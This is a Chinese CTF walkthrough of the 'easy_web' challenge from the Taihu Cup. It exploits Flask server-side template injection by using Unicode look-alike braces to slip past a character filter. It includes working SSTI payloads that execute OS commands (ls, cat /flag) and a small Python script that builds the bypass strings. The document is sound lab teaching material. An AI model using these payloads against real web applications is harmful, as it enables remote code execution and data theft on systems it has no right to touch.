XCTF进阶 - easy_web (太湖杯)
打开网页,发现是一个字符规范器,首先有输入框,尝试注入
尝试后发现没有任何反应,此时没有其他思路了,抓包看看回显。
抓包发现竟然是python,此时想到为flask ssti模板注入,首先测试
发现{}被限制了,本网页的功能是字符规范,我们可以找一些相近的字符,让他规范成{}.
如图,我们找到了不一样的{},
可以发现,︷︸
已经被格式化,我们测试下是否有ssti注入漏洞
输入︷︷2*2︸︸
可以看到2*2被计算出来了,所以存在ssti,直接输入payload即可:
非常好用的ssti模板注入payload
{
{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}
此时有两种绕过方法
传参实现绕过
运用request.args
实现绕过
特殊字符绕过
直接上脚本
ssti特殊字符绕过脚本
"""
{ -> ︷/﹛
} -> ︸/﹜
' -> '
, -> ,
" -> "
"""
//此时的str即你要输入的payload
str = '''{
{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}''' # 原字符串
# 如果需要替换replace(被替换的字符,替换后的字符)
str = str.replace('{', '︷')
str = str.replace('}', '︸')
str = str.replace('\'', ''')
str = str.replace('\"', '"')
print(str)
paylaod替换后为
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")︸︸
查找flag
paylaod
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls /').read()")︸︸
在根目录下发现flag
paylaod替换后为
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")︸︸